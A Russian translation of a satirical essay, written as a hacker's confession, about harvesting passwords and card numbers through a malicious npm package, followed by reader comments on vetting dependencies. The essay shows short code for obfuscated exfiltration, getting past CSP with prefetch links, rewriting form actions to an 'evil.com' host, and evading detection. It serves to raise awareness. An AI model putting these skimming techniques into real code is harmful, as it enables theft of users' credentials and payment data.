То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.
Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.
В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.
Как это работает
Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:
- На странице есть тег
<form>. - Там имеется элемент, в свойствах которого есть
input[type="password"], илиname="cardnumber", илиname="cvc", или нечто подобное. - Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.
Затем, при возникновении события
blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы, код выполняет следующие действия:- Берёт данные из всех полей формы, расположенной на странице (
document.forms.forEach(…)). - Читает
document.cookie. - Превращает это всё в строку, которая выглядит как беспорядочный набор символов (
const payload = btoa(JSON.stringify(sensitiveUserData))). - Затем отправляет то, что получилось, по примерно такому адресу:
https://legit-analytics.com?q=${payload}(адрес это, конечно, выдуманный).
Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.
Предыстория
Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.
Вот мудрый совет от Google:
Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.
Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.
К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты.
NPM
Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.
Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст. Вот как это выглядит:
А вот, если надо, исходный код.
Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.
Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».
Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве.
В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.
И это — только один пакет. Похожих было ещё 6.
Тогда я вышел более чем на 120000 загрузок в месяц, и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.
Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.
Анализ замечаний тех, кто уверен в своей безопасности
Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.
?Я заметил бы исходящие сетевые запросы!
Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).
Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.
Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова
dev, test, qa, uat или staging (окружённые символами границ слов \b).?Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!
В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.
И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.
Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.
Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям.
Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.
Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.
?Я бы это увидел в исходном коде пакета на GitHub!
Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.
В моём
package.json я задал свойство files так, что оно указывает на директорию lib, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда npm publish шлёт в npm. Но директория lib указана в .gitignore, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в
/lib/package.min.js — это реальный результат минификации /src/package.js?В итоге, на GitHub мой код никому не найти.
?Я проанализировал бы все минифицированные исходники кода из node_modules!
Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.
Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов
fetch и XMLHttpRequest, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А
self — это всего лишь псевдоним для window.А вот ещё один способ записать команду вида
fetch(...):self['\u0066\u0065\u0074\u0063\u0068'](...)Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.
Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие
fetch. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде new EventSource(urlWithYourPreciousData). При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя serviceWorker для прослушивания событий fetch, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих serviceWorker, но не EventSource.?У меня есть политика защиты контента!
Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.
Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome, и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.
Если вы ещё не знаете, то CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).
В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.
Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано
report-uri). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.
Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get('Content-Security-Policy');
// Существует ли такой заголовок? Устраивает ли это меня?
});В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку
connect-src и, кроме того, не задали «универсальный перехватчик» default-src, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.
У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.
У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано
default-src. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали form-action.Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано
form-action, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.
Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.
Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.
Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.
Что делать?
Вот несколько вариантов защиты от всего того, о чём я рассказал.
?Вариант №1: никакого интернета, никаких сайтов
Полагаю, тут всё понятно без лишних слов:
Здесь вы будете в безопасности.
?Вариант №2: никакого постороннего кода на важных страницах
На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.
Как советуют здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.
При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).
Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?
Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.
Серьёзный разговор
Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.
В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.
Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?
Итоги
Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).
Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.
Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?
Комментарии (295)
authoris
11.01.2018 14:31+2Спасибо за перевод! Возможно пришло время создания платного пакетного репозитория с ручной проверкой пакетов, вроде AppStore, и более высоким уровнем доверия. Остается надеяться, что на его страницах оплаты или авторизации не будет сидеть ничего подобного из статьи =)
nox1725
11.01.2018 14:38В серьезных компаниях (к счастью, я работаю именно в такой) делается проще — ставится приватный репозиторий, туда копируются пакеты из публичного, но изначально доступ заблокирован для всех, пока их не проверит служба ИБ, где работают довольно умные люди.
После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым
На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollbackauthoris
11.01.2018 14:44+1А можете поделиться, на базе чего поднимали приватный репозиторий?
nox1725
11.01.2018 15:49+1Раньше использовали www.npmjs.com/package/sinopia, сейчас Artifactory платную, т.к. интеграция с AD, групповые политики и много чего еще вкусного
MrCheater
11.01.2018 20:05+1sinopia имеет проблемы с пакетами вида
@somescope/somepackagename
Разработчики забили на поддержку.
Вот живой и поддерживаемый форк verdaccio (1700+ звёзд)nox1725
11.01.2018 20:17Я её очень давно использовал, потом как раз перешли на Артифактори по причине отсутствия поддержки, ну и были еще требования прикрутить роли/группы и интегрировать с AD/LDAP
Но за ссылку — спасибо! Пригодится в будущем
aPiks
11.01.2018 21:42nexus repository
Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.
ctacka
11.01.2018 17:52+1А как проверяется? Как служба ИБ проверяет npm-пакеты?
nox1725
11.01.2018 18:03Ну так банальный core review и сборка из исходников, чтобы не прилетело бинарников непонятных
При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы
ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bountyDistortNeo
11.01.2018 18:19Ну так банальный core review и сборка из исходников
Это не даст 100% гарантии, что в коде не содержится вредоносных фрагментов.
Типичный пример: ослабление open source критографических библиотек спецслужбами. Никто об этом годами даже не догадывался, пока об это не сообщили явно.
nox1725
11.01.2018 18:32Ну паранойя, паранойей, но всё должно быть в балансе
Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают
В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)
goodwind
12.01.2018 08:14Просто из праздного интереса: а если в пакете обнаружен зловредный код? Пакет отбрасывается как ненадежный (что влечет за собой изменения в проекте, так как надо чем-то заменить функционал выброшенного модуля) или делается свой внутренний фикс уязвимости?
nox1725
12.01.2018 17:25По разному. В любом случае пишется баг-репорт разработчику. Если команда, которой нужен был компонент не нашли альтернативы или фикс тривиальный, то после внутреннего тестирования помимо баг репорта будет еще и пулл-реквест
Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками
Volmontovich
13.01.2018 23:32Изменения в проекте не влечет, так как проект как правило не может зависить от того, что еще не прошло ревью. Но конкретная судьба зависимости может быть разной, ответ nox1725 вполне исчерпывающий.
SADKO
11.01.2018 20:48Эти ослабления делаются не явным для не математика образом, и прогеры их в упор не видят и это нормально…
… а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другоеnox1725
12.01.2018 17:28+1Именно! Помимо зловредных вещей некоторые вполне себе крупные компании имеют в своем софте код, который отправляет «обезличенные» аналитические данные о работе системы. При этом в open source версии (в коде) этого участка нет, а в бинарном пакете от вендора есть
Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов
Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.
mayorovp
12.01.2018 13:12Слепая сборка из исходников может быть еще опаснее: чужой код запускается на ваших серверах, причем возможно еще и на тех которые имеют доступ выкладывать что-то на прод.
nox1725
12.01.2018 14:45Вроде бы я написал core review & local building, как вы думаете, что идет сначала? :-)
И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репуmayorovp
12.01.2018 15:46Какой вообще смысл собирать на центральном сервере однократно?
nox1725
12.01.2018 17:31Не однократно, а при изменении версии.
Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.
При наличии CICD пересобирается только то, что требует пересборкиmayorovp
13.01.2018 20:44То есть при изменении версии новая версия руками уже не проверяется? И чужой код автоматически исполняется на общем билд-сервере?
nox1725
15.01.2018 13:19Нет же, наоборот, проверяется так же, только уже смотрятся диффы, потом собирается в изолированном окружении и только потом уходит апдейт на основной билд сервер
То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)
nox1725
11.01.2018 18:04К слову сказать, код, который пишется в продукт так же проверяется, как и зависимости. Без такой проверки в прод он не уйдет
Areso
11.01.2018 21:54Что-то не было замечено доскональных платных аудитов OpenSSL, а ведь позволю себе заметить, что OpenSSL пользовались не только бедные студенты, но и уважаемые софтварные компании, а они пишут код в продукт, который проверяется…
Oh, sh~, видимо не проверяется, по крайней мере зависимости)Kghrast
12.01.2018 13:14А FIPS относится к «доскональному»? И если нет — то почему?
Areso
12.01.2018 21:24Только почему-то FIPS 140-2 случился значительно позже маленького случая с Heartbleed, когда корпы поняли, что неплохо бы SSL библиотеку и проверить, а не просто использовать «как есть», в то время как автор перебивался случайными средствами и едва мог оплатить счета за электричество и железо для тестирования своей библиотеки…
nox1725
12.01.2018 14:47Тот же RHEL делает аудит кода. Бесплатный, только плата за поддержку. Тот же GRSecurity тоже делает. Это из тех кто «на устах»
Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)
ChePeter
12.01.2018 12:16Ага, сколько лет проверялся OpenSSL?
habrahabr.ru/sandbox/100878
Этой ошибке много лет и это в пакете за которым следят миллионы глаз.nox1725
12.01.2018 14:50Это баг, но это не уязвимость. Любой софт содержит баги, прям вот любой. Делать аудит на баги и делать работу QA другой компании (или open source проекта) — слишком затратно, ради просто включения в проект.
Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБChePeter
12.01.2018 15:21Но я еще не встречал, что бы в основе уязвимости лежал на баг, а закладка.
Поправьте меня, если вдруг что то не заметил
Именно баги превращаются в уязвимости, увыnox1725
12.01.2018 17:34Хотя бы вот habrahabr.ru/post/200686
А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду времяChePeter
12.01.2018 18:04Не совсем убедили.
Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))
Joshua
15.01.2018 09:51Сам живу в серьезной компании. Думаю, по описанному сценарию мы бы ничего не отловили. По крайней мере сразу. Только с логов view у клиентов, и то, если бы они сами к нам обратились с проблемой. А сами не поймали бы, т.к. у нас все интеграционные тесты запускаются на машинах с локальных адресов или по локальному имени машины, что легко отследить и проверить. Т.е. те кто пишут, что найдет СБ или мы сами тестами — ребята, по-моему вы оптимисты.
kisskin
11.01.2018 14:34мне даже стало страшно, пока я это читал)))
kurnosov
11.01.2018 14:59Если еще не читали, то советую вам почитать про уязвимости Meltdown/Spectre от этого действительно станет страшно видя то, как как грибы появляются реализации на Github'е и судорожные попытки закрыть уязвимости софтверно с соответствующим проседанием производительности, особенно в серверном сегменте (сервера Nex Machine для примера получили проседание в 5ть раз).
kalininmr
11.01.2018 20:46+2мне кажется несколько преувеличивают.
что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)
тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.
bro-dev
12.01.2018 07:41это не говоря о
Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.
работает независимо от наличия Meltdown/Spectre уязвимостей
TheOleg
12.01.2018 02:36У серверов Nex Machine нагрузка была 5%, а стала 25%, проседания там не должно было быть.
VioletGiraffe
12.01.2018 11:51Не понимаю хайпа Meltdown. Страшно, что из-за этой фигни патч ОС делает почти весь софт медленнее.
Psychosynthesis
12.01.2018 21:17Если бы плодились реально рабочие реализации, было бы интересно. А так — тупо очередной «хайп».
baldr
12.01.2018 21:24А вы что имеете в виду? Что кто-то сделает «рабочую реализацию» и потом сразу напишет об этом на хабр?
Если вы не знаете о какой-то реализации то тут возможно 2 случая:
* ее не существует
* вы о ней не знаетеPsychosynthesis
12.01.2018 21:40При чём тут Хабр? Человек написал что его беспокоят плодящиеся «как грибы» реализации атаки, а я лишь обратил его внимание, что абсолютное большинство этих реализаций ничего путного из себя не представляют.
А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.
popov654
12.01.2018 00:35А мне не стало страшно, т.к. я никогда не использую в веб-проектах сторонний код, от слова «вообще» :)
baldr
12.01.2018 00:42Прошу прощения, но боюсь что у вас просто недостаточно воображения для паранойи.
Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…popov654
13.01.2018 01:10Да, вы абсолютно правы. Я писал лишь про вот эти модные npm-пакеты и кучу сторонних библиотек, которую сейчас пихают к месту и не к месту, особенно в небольшие сайты (примеры из статьи с раскраской вывода на консоль и «удобной ease-функцией» для анимаций очень ярко иллюстрируют это явление).
qqname
15.01.2018 15:34Ну например мне стало страшно не от того что я испугался за свои проекты, а от осознания того что может твориться в чужих. Например там где я покупаю электронику/игры/книги
lain8dono
11.01.2018 14:49+7Помимо всего этого есть другие ЯП со своими пакетными менеджерами. Хороший год.
Всё от ПО до железа — дыра безопасности. Ну хоть что-то в безопасности.
Wolf4D
11.01.2018 15:51Вообще, дыр, судя по всему, огромное количество. Страшно подумать, что будет, если это начнут ковырять всерьёз. Меня, в своё время, впечатлило вот это (перекликается с темой статьи, кстати).
gx2
11.01.2018 16:48+1Моё мнение: кому надо, давно расковыряли и пользуются без огласки. Как товарищ из статьи.
OlegShishkin
11.01.2018 15:20+1Зачем все эти сложности с контролем кода, когда можно запросто иметь выделенную банковскую карточку только для оплаты через интернет и пополнять её только перед оплатой? Всё остальное время на ней нулевой остаток. И пусть этот ноль воруют сколько влезет. Это же очень просто — отдельная карта для интернета. И всё.
j_wayne
11.01.2018 15:33+2Потому, что это могут быть не только данные кредиток, а все, что угодно. Медицина, пароли к сервисам, да мало ли что.
mickvav
11.01.2018 15:49+9А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами…
Germanets
11.01.2018 16:46-1Вроде бы есть достаточно провайдеров виртуальных карт, счета которых можно пополнить просто в терминале… Везде, где я жил в своём, пусть и достаточно крупном городе, терминалы были в шаговой доступности, от силы потратишь десяток минут и получишь деньги на счету, и сразу же тратишь.
Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…DistortNeo
11.01.2018 17:50+2О, получается ещё веселее алгоритм. чтобы что-то оплатить с виртуальной карты:
1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
3. Отстоять очередь.
4. Снять нужную сумму.
5. Найти терминал, чтобы внести деньги на виртуальную карту.
6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
8. Вернуться к терминалу.
9. Дойти до дома.
Да, ещё не забыть про комиссии.Germanets
11.01.2018 18:11Эмм, видимо я совершенно в своём(параноидальном?) мире живу, у меня нет денег на картах, у меня всё, чем я в ближайшее время собираюсь пользоваться — в наличке…
С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
1. Дойти до терминала
2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
3. Дойти до дома.baldr
11.01.2018 18:30Видимо вы не ездите ни в другой город, ни за границу.
И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.Germanets
11.01.2018 21:14При поездке в другой город, и тем более заграницу — на карточки надеяться это ещё интереснее, чем в своём городе) Банальная ситуация — у нескольких тысяч человек заблокировали карточки по причине того, что на банкомате нашли скиммер, который поставили неизвестно когда… Соответственно все, кто за последние N месяцев банкоматом пользовались должны были ждать пару недель до выпуска новой карты, либо идти в банк и получать деньги из кассы с паспортом.
А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.baldr
11.01.2018 23:11Ну мы поняли, надо носить в кэше, причем с собой. В разных валютах, зашитых во всю одежду.
Почему ваш параноик не боится домушника, зашедшего в дом, но боится того что вдруг банк заблокирует карты всех своих клиентов?
Лично мне кажется логичной принцип среднего — сумма на 2-3 дня наличкой хранится на руках/дома, а остальное — на карте, на депозите или во вкладах.Germanets
11.01.2018 23:24Про домушника тут лишнее, я про хранение всех сбережений в доме ничего и близко не писал, да и техники в современном доме на куда большую сумму, чем лежит наличности…
Ниже в комментариях я уже примерно описал, что и как должно храниться в моём понимании, и ответ на ваш вопрос там тоже есть, причём практически совпадающий с вашей версией, за небольшими исключениями. Основная часть должна быть именно «на депозите или во вкладах», но никак не на карте. Сумма на 2-3 дня должна быть в кошельке, а на ближайшие 3-4 недели дома, на случай форс-мажора с карточками, банками, счетами и т.д…
Merkat0r
12.01.2018 06:40Технику только наркоты воруют(шанс что ее можно будет вернуть в ближайшем ломбарде >90%) — остальные только деньги и золото\серебро ибо их не отследить практически никак.
YaMishar
11.01.2018 18:46В вашем параноидном мире Бирюлева нету? В переходе по башке не дают с отбором всей налички? У нас вот дают. Отделываемся потерей мелочью, потому как всё на карточках.
Germanets
